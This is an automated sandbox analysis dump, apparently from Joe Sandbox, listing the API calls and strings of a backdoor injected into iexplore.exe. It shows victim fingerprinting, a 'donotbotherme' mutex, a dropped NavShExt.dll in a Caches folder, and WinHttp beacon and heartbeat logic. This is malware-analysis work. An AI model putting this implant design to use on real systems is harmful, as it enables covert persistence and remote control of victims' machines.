Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Strings

Try address http://%s, xrefs: 00513DF4
Try address https://%s, xrefs: 00513C2D
IP Address Error! - %s, xrefs: 00514001
http://, xrefs: 00513B27
No ConnectType ok!, xrefs: 00513FBE
Missing Https Port!, xrefs: 00513FF1
ConnectType %d ok., xrefs: 00513C6F
https://, xrefs: 00513B56

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00517143, Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 131
library

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(Netapi32), ref: 00517177
GetProcAddress.KERNELBASE(00000000), ref: 0051717E
LoadLibraryA.KERNEL32(Netapi32), ref: 00517197
GetProcAddress.KERNEL32(00000000), ref: 0051719E
memset.MSVCRT ref: 005171B2
GetUserNameA.ADVAPI32(000001D0,?), ref: 005171CE
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000040), ref: 005171F2
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000210,00000040,00000000,00000000), ref: 0051725E
ConvertSidToStringSidA.ADVAPI32(?,?), ref: 0051726E

Part of subcall function 0051A805: _errno.MSVCRT ref: 0051A832
Part of subcall function 0051A805: _errno.MSVCRT ref: 0051A8AC

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Strings

NetUserGetInfo, xrefs: 0051716D
NetApiBufferFree, xrefs: 0051718D
Netapi32, xrefs: 00517172, 00517192

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 004F13F5, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 162filethread

APIs

IsDebuggerPresent.KERNEL32 ref: 004F142F
CreateThread.KERNEL32(00000000,00000000,004F120F,00000000,00000000,00000000), ref: 004F1482
??2@YAPAXI@Z.MSVCRT ref: 004F14D6

Part of subcall function 004F268D: memset.MSVCRT ref: 004F26B8

??3@YAXPAX@Z.MSVCRT ref: 004F1528

Part of subcall function 004F1A6D: ??2@YAPAXI@Z.MSVCRT ref: 004F1A8C
Part of subcall function 004F1A6D: memset.MSVCRT ref: 004F1A9C
Part of subcall function 004F1A6D: memcpy.MSVCRT ref: 004F1AB8
Part of subcall function 004F1A6D: memcpy.MSVCRT ref: 004F1AE9
Part of subcall function 004F1A6D: ??3@YAXPAX@Z.MSVCRT ref: 004F1AFE
Part of subcall function 004F1A6D: ??2@YAPAXI@Z.MSVCRT ref: 004F1B1B

??3@YAXPAX@Z.MSVCRT ref: 004F154A

Part of subcall function 004F1C8F: ??2@YAPAXI@Z.MSVCRT ref: 004F1CAE
Part of subcall function 004F1C8F: memset.MSVCRT ref: 004F1CBE
Part of subcall function 004F1C8F: memcpy.MSVCRT ref: 004F1CDA
Part of subcall function 004F1C8F: memcpy.MSVCRT ref: 004F1D0B
Part of subcall function 004F1C8F: ??3@YAXPAX@Z.MSVCRT ref: 004F1D20
Part of subcall function 004F1C8F: ??2@YAPAXI@Z.MSVCRT ref: 004F1D3D

Part of subcall function 004F15F1: CreateFileMappingA.KERNEL32(000000FF,00000000,00000040,00000000,00000000,00000000), ref: 004F1625
Part of subcall function 004F15F1: MapViewOfFile.KERNELBASE(00000000,00000022,00000000,00000000,00000000), ref: 004F1634
Part of subcall function 004F15F1: UnmapViewOfFile.KERNEL32(?), ref: 004F1657
Part of subcall function 004F15F1: CloseHandle.KERNEL32(?), ref: 004F1660

??3@YAXPAX@Z.MSVCRT ref: 004F15A8
UnmapViewOfFile.KERNEL32(?), ref: 004F15C6
CloseHandle.KERNEL32(?), ref: 004F15D0

Part of subcall function 004F26F1: printf.MSVCRT ref: 004F2714

Part of subcall function 004F32A0: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004F3CE2
Part of subcall function 004F32A0: UnhandledExceptionFilter.KERNEL32(004F6190), ref: 004F3CED
Part of subcall function 004F32A0: GetCurrentProcess.KERNEL32(C0000409), ref: 004F3CF8
Part of subcall function 004F32A0: TerminateProcess.KERNEL32(00000000), ref: 004F3CFF

Strings

Ss)4:WKsRr(3/VJrQq&2.UIqPp%1-THp, xrefs: 004F14E1

Memory Dump Source

Source File: 00000003.00000002.773005659.004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4f0000_iexplore.jbxd

Function 005163DA, Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 99time

APIs

memset.MSVCRT ref: 00516428
GetTempPathA.KERNEL32(00000104,?), ref: 0051643E

Part of subcall function 0051A729: _errno.MSVCRT ref: 0051A741
Part of subcall function 0051A729: _errno.MSVCRT ref: 0051A788

Part of subcall function 0051A79D: _errno.MSVCRT ref: 0051A7B5
Part of subcall function 0051A79D: _errno.MSVCRT ref: 0051A7F0

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

Part of subcall function 00511024: time.MSVCRT ref: 00511080
Part of subcall function 00511024: srand.MSVCRT ref: 00511086

memset.MSVCRT ref: 005164A6
GetLocalTime.KERNEL32(?), ref: 005164D6

Part of subcall function 005135D4: __EH_prolog3_GS.LIBCMT ref: 005135DE
Part of subcall function 005135D4: CreateMutexA.KERNELBASE(00000000,00000001,donotbotherme,000002A8,00516509,?,?), ref: 00513607
Part of subcall function 005135D4: GetLastError.KERNEL32 ref: 0051360F
Part of subcall function 005135D4: inet_addr.WS2_32(?), ref: 005136FD
Part of subcall function 005135D4: GetLocalTime.KERNEL32(?,?), ref: 00513780
Part of subcall function 005135D4: GetLocalTime.KERNEL32(?), ref: 005137B5
Part of subcall function 005135D4: WaitForSingleObject.KERNEL32(?,000927C0), ref: 005137C2
Part of subcall function 005135D4: GetLocalTime.KERNEL32(?), ref: 005137DD
Part of subcall function 005135D4: WaitForSingleObject.KERNEL32(?,000927C0), ref: 005137EA
Part of subcall function 005135D4: time.MSVCRT ref: 005138C0
Part of subcall function 005135D4: srand.MSVCRT ref: 005138C7
Part of subcall function 005135D4: rand.MSVCRT ref: 005138D9
Part of subcall function 005135D4: WaitForSingleObject.KERNEL32(?,00000000), ref: 0051393E
Part of subcall function 005135D4: time.MSVCRT ref: 005139B0
Part of subcall function 005135D4: srand.MSVCRT ref: 005139B7
Part of subcall function 005135D4: rand.MSVCRT ref: 005139C3
Part of subcall function 005135D4: WaitForSingleObject.KERNEL32(?,?), ref: 00513A17
Part of subcall function 005135D4: CloseHandle.KERNEL32(00000000), ref: 00513A61

GetLocalTime.KERNEL32(?,?,?), ref: 00516512

Part of subcall function 00513409: WinHttpCloseHandle.WINHTTP(?,?,00000000,00513407), ref: 0051341B
Part of subcall function 00513409: WinHttpCloseHandle.WINHTTP(?,?,00000000,00513407), ref: 00513425
Part of subcall function 00513409: WinHttpCloseHandle.WINHTTP(?,?,00000000,00513407), ref: 0051342F
Part of subcall function 00513409: WinHttpCloseHandle.WINHTTP(?,?,00000000,00513407), ref: 00513439
Part of subcall function 00513409: WinHttpCloseHandle.WINHTTP(?,?,00000000,00513407), ref: 00513442

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Strings

C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp, xrefs: 00516463
Client Start!, xrefs: 0051647A
FXSAPIDebugLogFile.tmp, xrefs: 00516444

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00514B82, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 94

APIs

??2@YAPAXI@Z.MSVCRT ref: 00514B9C
GetAdaptersInfo.IPHLPAPI(00000000,6Q), ref: 00514BAC
??3@YAXPAX@Z.MSVCRT ref: 00514BB7
??2@YAPAXI@Z.MSVCRT ref: 00514BC0
GetAdaptersInfo.IPHLPAPI(00000000,?), ref: 00514BD0

Part of subcall function 00514AAC: ??2@YAPAXI@Z.MSVCRT ref: 00514AC6
Part of subcall function 00514AAC: GetAdaptersInfo.IPHLPAPI(00000000,00000000), ref: 00514AD6
Part of subcall function 00514AAC: ??3@YAXPAX@Z.MSVCRT ref: 00514AE1
Part of subcall function 00514AAC: ??2@YAPAXI@Z.MSVCRT ref: 00514AE9
Part of subcall function 00514AAC: GetAdaptersInfo.IPHLPAPI(00000000,00000000), ref: 00514AFA
Part of subcall function 00514AAC: ??3@YAXPAX@Z.MSVCRT ref: 00514B71

??3@YAXPAX@Z.MSVCRT ref: 00514C60

Strings

6Q, xrefs: 00514BA4, 00514BBD, 00514BA7

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00516D52, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 49library

APIs

GetModuleHandleW.KERNEL32(kernel32,GetDiskFreeSpaceExW,00000040,?,?,00517D23,00000000,00000000), ref: 00516D70
GetProcAddress.KERNEL32(00000000,?,?,00517D23,00000000,00000000), ref: 00516D77

Part of subcall function 0051663C: malloc.MSVCRT ref: 0051663D

GetTempPathW.KERNEL32(00000104,00000000), ref: 00516D98
GetDiskFreeSpaceExW.KERNELBASE(00000000,?,00000000,00000000,?,?,00517D23,00000000,00000000), ref: 00516DAD

Part of subcall function 00516653: free.MSVCRT(00000000,00513A3A), ref: 0051665E

Strings

GetDiskFreeSpaceExW, xrefs: 00516D66
#}Q, xrefs: 00516DC4
kernel32, xrefs: 00516D6B

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00516DF6, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 244

APIs

GetLocaleInfoA.KERNEL32(00000400,00000059,00000298,00000010,00000000,00000040,00000000), ref: 00516E2D
GetLocaleInfoA.KERNEL32(00000400,0000005A,000002A8,00000010), ref: 00516E4F

Part of subcall function 0051668C: RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00020019,00000000,?,005169F7,00000080,00000000,?,?,005169F7,?,?), ref: 005166CF
Part of subcall function 0051668C: RegCloseKey.ADVAPI32(00000000,?,?,005169F7,?,?,?,00000000,00020019), ref: 005166DA

__swprintf_c_l.LIBCMT ref: 0051710B

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Strings

%s\%s, xrefs: 005170D8

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 0051280C, Relevance: 72.0, APIs: 23, Strings: 18, Instructions: 275

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0051284B

Part of subcall function 005123CA: memset.MSVCRT ref: 00512458
Part of subcall function 005123CA: rand.MSVCRT ref: 0051246D
Part of subcall function 005123CA: rand.MSVCRT ref: 0051249B
Part of subcall function 005123CA: rand.MSVCRT ref: 005124BF
Part of subcall function 005123CA: rand.MSVCRT ref: 005124DB
Part of subcall function 005123CA: rand.MSVCRT ref: 00512505
Part of subcall function 005123CA: rand.MSVCRT ref: 0051253C
Part of subcall function 005123CA: rand.MSVCRT ref: 0051257E
Part of subcall function 005123CA: rand.MSVCRT ref: 005125B5
Part of subcall function 005123CA: ___swprintf_l.LIBCMT ref: 005125E9
Part of subcall function 005123CA: memset.MSVCRT ref: 0051263B
Part of subcall function 005123CA: rand.MSVCRT ref: 00512650
Part of subcall function 005123CA: rand.MSVCRT ref: 0051267F
Part of subcall function 005123CA: rand.MSVCRT ref: 005126A4
Part of subcall function 005123CA: ___swprintf_l.LIBCMT ref: 005126CA

rand.MSVCRT ref: 00512862
WinHttpOpenRequest.WINHTTP(?,GET,?,00000000,00000000,00000000,-002EDD5D,?,00000000,00000000,?,00000000), ref: 005128D5
GetLastError.KERNEL32 ref: 005128E5

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

WinHttpSetOption.WINHTTP(00000000,00000006,?,00000004), ref: 0051291B
WinHttpQueryOption.WINHTTP(?,0000001F,?,?), ref: 00512949
WinHttpSetOption.WINHTTP(?,0000001F,00003300,00000004), ref: 0051296A
WinHttpSetOption.WINHTTP(?,0000002F,00000000,00000000), ref: 00512972
memset.MSVCRT ref: 0051298A
___swprintf_l.LIBCMT ref: 005129A7
WinHttpAddRequestHeaders.WINHTTP(?,?,?,20000000), ref: 005129E0
GetLastError.KERNEL32 ref: 005129E6
memset.MSVCRT ref: 00512A0D

Part of subcall function 005126EC: rand.MSVCRT ref: 00512725
Part of subcall function 005126EC: memset.MSVCRT ref: 0051274A
Part of subcall function 005126EC: rand.MSVCRT ref: 0051275D
Part of subcall function 005126EC: rand.MSVCRT ref: 0051279E
Part of subcall function 005126EC: rand.MSVCRT ref: 005127C3
Part of subcall function 005126EC: ___swprintf_l.LIBCMT ref: 005127ED

___swprintf_l.LIBCMT ref: 00512A35
WinHttpAddRequestHeaders.WINHTTP(?,?,?,20000000), ref: 00512A63
GetLastError.KERNEL32 ref: 00512A69
___swprintf_l.LIBCMT ref: 00512A8D
WinHttpAddRequestHeaders.WINHTTP(?,?,?,20000000), ref: 00512ABB
GetLastError.KERNEL32 ref: 00512AC1

Part of subcall function 0051A9BB: _errno.MSVCRT ref: 0051A9D3
Part of subcall function 0051A9BB: _errno.MSVCRT ref: 0051AA1C

WinHttpAddRequestHeaders.WINHTTP(?,?,?,20000000), ref: 00512B0D
GetLastError.KERNEL32 ref: 00512B13
WinHttpAddRequestHeaders.WINHTTP(?,?,?,20000000), ref: 00512B5F
GetLastError.KERNEL32 ref: 00512B65

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Strings

User-Agent: %s, xrefs: 00512996
GET, xrefs: 00512826, 005128D1
xQ, xrefs: 00512A7A
Accept-Encoding: gzip, deflate, xrefs: 00512B24
text/html,text/javascript, q=0.9,*/*, q=0.8, xrefs: 0051288D
image/png,image/*, q=0.8,*/*, q=0.5, xrefs: 00512899
WinHttpAddRequestHeaders Host failed! - %d, xrefs: 00512A70
Accept: %s, xrefs: 00512A86
*/*, xrefs: 00512881
Accept-Language: en-US, xrefs: 00512AD2
WinHttpAddRequestHeaders UserAgent failed! - %d, xrefs: 005129ED
Host: %s, xrefs: 00512A23
WinHttpAddRequestHeaders 2 failed! - %d, xrefs: 00512B1A
POST, xrefs: 00512830
WinHttpAddRequestHeaders Accept failed! - %d, xrefs: 00512AC8
WinHttpAddRequestHeaders 3 failed! - %d, xrefs: 00512B6C
application/jason,application/xml, q=0.9,*/*, q=0.8, xrefs: 005128A5
WinHttpOpenRequest failed! - %d, xrefs: 005128EC

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 005135D4, Relevance: 54.6, APIs: 18, Strings: 13, Instructions: 327
time

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 005135DE
CreateMutexA.KERNELBASE(00000000,00000001,donotbotherme,000002A8,00516509,?,?), ref: 00513607
GetLastError.KERNEL32 ref: 0051360F

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

Part of subcall function 005148A0: memset.MSVCRT ref: 005148B7
Part of subcall function 005148A0: SHGetSpecialFolderPathA.SHELL32(00000000,-0000D007,0000001C,00000000), ref: 005148C4
Part of subcall function 005148A0: CreateDirectoryA.KERNELBASE(-0000D007,00000000), ref: 005148E1
Part of subcall function 005148A0: CreateDirectoryA.KERNELBASE(-0000D007,00000000), ref: 005148F5
Part of subcall function 005148A0: CreateDirectoryA.KERNELBASE(-0000D007,00000000), ref: 00514909
Part of subcall function 005148A0: ___swprintf_l.LIBCMT ref: 0051493E

Part of subcall function 0051494C: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0051496C
Part of subcall function 0051494C: ReadFile.KERNEL32(00000000,?,00000269,?,00000000), ref: 00514993
Part of subcall function 0051494C: CloseHandle.KERNEL32(00000000), ref: 0051499A
Part of subcall function 0051494C: ??2@YAPAXI@Z.MSVCRT ref: 005149A7
Part of subcall function 0051494C: ??3@YAXPAX@Z.MSVCRT ref: 005149CD

Part of subcall function 005149DD: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000004,00000000,00000000), ref: 00514A11
Part of subcall function 005149DD: memcpy.MSVCRT ref: 00514A35
Part of subcall function 005149DD: ??2@YAPAXI@Z.MSVCRT ref: 00514A3C
Part of subcall function 005149DD: ??3@YAXPAX@Z.MSVCRT ref: 00514A62
Part of subcall function 005149DD: WriteFile.KERNEL32(?,?,00000269,?,00000000), ref: 00514A7D
Part of subcall function 005149DD: CloseHandle.KERNEL32(?), ref: 00514A86

Part of subcall function 00514B82: ??2@YAPAXI@Z.MSVCRT ref: 00514B9C
Part of subcall function 00514B82: GetAdaptersInfo.IPHLPAPI(00000000,6Q), ref: 00514BAC
Part of subcall function 00514B82: ??3@YAXPAX@Z.MSVCRT ref: 00514BB7
Part of subcall function 00514B82: ??2@YAPAXI@Z.MSVCRT ref: 00514BC0
Part of subcall function 00514B82: GetAdaptersInfo.IPHLPAPI(00000000,?), ref: 00514BD0
Part of subcall function 00514B82: ??3@YAXPAX@Z.MSVCRT ref: 00514C60

inet_addr.WS2_32(?), ref: 005136FD

Part of subcall function 00514C71: memset.MSVCRT ref: 00514C9D
Part of subcall function 00514C71: WSAStartup.WS2_32(00000002,?), ref: 00514CAE
Part of subcall function 00514C71: gethostname.WS2_32(00000000,00000100), ref: 00514CC3
Part of subcall function 00514C71: gethostbyname.WS2_32(00000000), ref: 00514CD3
Part of subcall function 00514C71: inet_ntoa.WS2_32(?), ref: 00514CE3
Part of subcall function 00514C71: WSACleanup.WS2_32 ref: 00514CF2

GetLocalTime.KERNEL32(?,?), ref: 00513780
GetLocalTime.KERNEL32(?), ref: 005137B5
WaitForSingleObject.KERNEL32(?,000927C0), ref: 005137C2
GetLocalTime.KERNEL32(?), ref: 005137DD
WaitForSingleObject.KERNEL32(?,000927C0), ref: 005137EA
time.MSVCRT ref: 005138C0
srand.MSVCRT ref: 005138C7
rand.MSVCRT ref: 005138D9
WaitForSingleObject.KERNEL32(?,00000000), ref: 0051393E
time.MSVCRT ref: 005139B0
srand.MSVCRT ref: 005139B7
rand.MSVCRT ref: 005139C3
WaitForSingleObject.KERNEL32(?,?), ref: 00513A17

Part of subcall function 00516653: free.MSVCRT(00000000,00513A3A), ref: 0051665E

Part of subcall function 00517C7C: GlobalMemoryStatusEx.KERNELBASE(00000000,?,00000000,?), ref: 00517CCD

CloseHandle.KERNEL32(00000000), ref: 00513A61

Strings

Lost Config!, xrefs: 00513A3F
Try All Addr Failed! Sleep For: %f Minutes!, xrefs: 00513924
, xrefs: 00513885
label:%s, xrefs: 00513631
donotbotherme, xrefs: 005135F6
Working Time : %02d-%02d., xrefs: 00513788
wake_time:%d, xrefs: 00513661
Sleep For a HeartBeat Time: %f Minutes, xrefs: 005139FD
uiRate:%d, xrefs: 00513651
sleep_time:%d, xrefs: 00513671
uiVer:%d, xrefs: 00513641
GetHostMac Failed!, xrefs: 005136EE
Online Failed - %d, xrefs: 0051385D, 00513976

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 004F120F, Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 168
file

Control-flow Graph

Executed
Not Executed

APIs

CreateEventW.KERNEL32(00000000,00000001,00000000,{2CB55487-9F5C-48D4-B6A1-2521E247A169}), ref: 004F1238
GetLastError.KERNEL32 ref: 004F1249
memset.MSVCRT ref: 004F126A
GetModuleFileNameW.KERNEL32(?,00000104), ref: 004F1282
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004F1298
GetFileSize.KERNEL32(00000000,00000000), ref: 004F12AE
??2@YAPAXI@Z.MSVCRT ref: 004F12B9
memset.MSVCRT ref: 004F12CA
ReadFile.KERNEL32(00000000,?,?,?,00000000), ref: 004F12DE
CloseHandle.KERNEL32(00000000), ref: 004F12E5

Part of subcall function 004F1000: memset.MSVCRT ref: 004F102B
Part of subcall function 004F1000: GetSystemDirectoryA.KERNEL32(00000000,00000104), ref: 004F1040
Part of subcall function 004F1000: memset.MSVCRT ref: 004F109D
Part of subcall function 004F1000: SHGetSpecialFolderPathA.SHELL32(00000000,00000000,0000001A,00000000), ref: 004F10B0
Part of subcall function 004F1000: GetShortPathNameA.KERNEL32(00000000,00000000,00000104), ref: 004F10D4
Part of subcall function 004F1000: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020006,?), ref: 004F1130

SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000), ref: 004F12FE

Part of subcall function 004F342F: _errno.MSVCRT ref: 004F3447
Part of subcall function 004F342F: _errno.MSVCRT ref: 004F349E

CreateDirectoryW.KERNELBASE(?,00000000), ref: 004F131B
CreateDirectoryW.KERNELBASE(?,00000000), ref: 004F1334
CreateDirectoryW.KERNELBASE(?,00000000), ref: 004F134D
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004F1371
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000000,00000000), ref: 004F138E
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 004F13A8
CloseHandle.KERNEL32(?), ref: 004F13B1
WaitForSingleObject.KERNEL32(?,00003A98), ref: 004F13BF
??3@YAXPAX@Z.MSVCRT ref: 004F13D3

Part of subcall function 004F32A0: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004F3CE2
Part of subcall function 004F32A0: UnhandledExceptionFilter.KERNEL32(004F6190), ref: 004F3CED
Part of subcall function 004F32A0: GetCurrentProcess.KERNEL32(C0000409), ref: 004F3CF8
Part of subcall function 004F32A0: TerminateProcess.KERNEL32(00000000), ref: 004F3CFF

Strings

\Caches, xrefs: 004F1336
\NavShExt.dll, xrefs: 004F134F
\Microsoft, xrefs: 004F1304
\Windows, xrefs: 004F131D
{2CB55487-9F5C-48D4-B6A1-2521E247A169}, xrefs: 004F122D

Memory Dump Source

Source File: 00000003.00000002.773005659.004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4f0000_iexplore.jbxd

Function 005130ED, Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 150

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00512CCF: memset.MSVCRT ref: 00512D12
Part of subcall function 00512CCF: memset.MSVCRT ref: 00512D77
Part of subcall function 00512CCF: memset.MSVCRT ref: 00512DA7
Part of subcall function 00512CCF: ??2@YAPAXI@Z.MSVCRT ref: 00512DEA
Part of subcall function 00512CCF: ??2@YAPAXI@Z.MSVCRT ref: 00512E1B
Part of subcall function 00512CCF: ??2@YAPAXI@Z.MSVCRT ref: 00512E4C
Part of subcall function 00512CCF: ??3@YAXPAX@Z.MSVCRT ref: 00512F06
Part of subcall function 00512CCF: ??3@YAXPAX@Z.MSVCRT ref: 00512F12
Part of subcall function 00512CCF: ??3@YAXPAX@Z.MSVCRT ref: 00512F1E
Part of subcall function 00512CCF: ??2@YAPAXI@Z.MSVCRT ref: 00512F33
Part of subcall function 00512CCF: ??2@YAPAXI@Z.MSVCRT ref: 00512F4C
Part of subcall function 00512CCF: rand.MSVCRT ref: 00512F5A
Part of subcall function 00512CCF: __swprintf_c_l.LIBCMT ref: 00512F7B
Part of subcall function 00512CCF: ??3@YAXPAX@Z.MSVCRT ref: 00512FB1
Part of subcall function 00512CCF: rand.MSVCRT ref: 00512FBB
Part of subcall function 00512CCF: __swprintf_c_l.LIBCMT ref: 00512FD7
Part of subcall function 00512CCF: ??3@YAXPAX@Z.MSVCRT ref: 0051300D
Part of subcall function 00512CCF: rand.MSVCRT ref: 00513017
Part of subcall function 00512CCF: __swprintf_c_l.LIBCMT ref: 00513033
Part of subcall function 00512CCF: ??3@YAXPAX@Z.MSVCRT ref: 00513065
Part of subcall function 00512CCF: ??3@YAXPAX@Z.MSVCRT ref: 0051307D
Part of subcall function 00512CCF: WinHttpAddRequestHeaders.WINHTTP(?,00000000,00000002,A0000000), ref: 005130BB
Part of subcall function 00512CCF: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000004), ref: 005130C5
Part of subcall function 00512CCF: ??3@YAXPAX@Z.MSVCRT ref: 005130DB

Part of subcall function 0051327C: memset.MSVCRT ref: 005132A2
Part of subcall function 0051327C: __swprintf_c_l.LIBCMT ref: 005132B8
Part of subcall function 0051327C: WinHttpAddRequestHeaders.WINHTTP(?,?,?,A0000000,?,?,?,?,?,?,?,00000000), ref: 005132E1
Part of subcall function 0051327C: GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000), ref: 005132EB
Part of subcall function 0051327C: WinHttpSendRequest.WINHTTP(?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,?,?,?,?,00000000), ref: 0051330B
Part of subcall function 0051327C: GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000), ref: 00513315
Part of subcall function 0051327C: WinHttpWriteData.WINHTTP(?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00513331
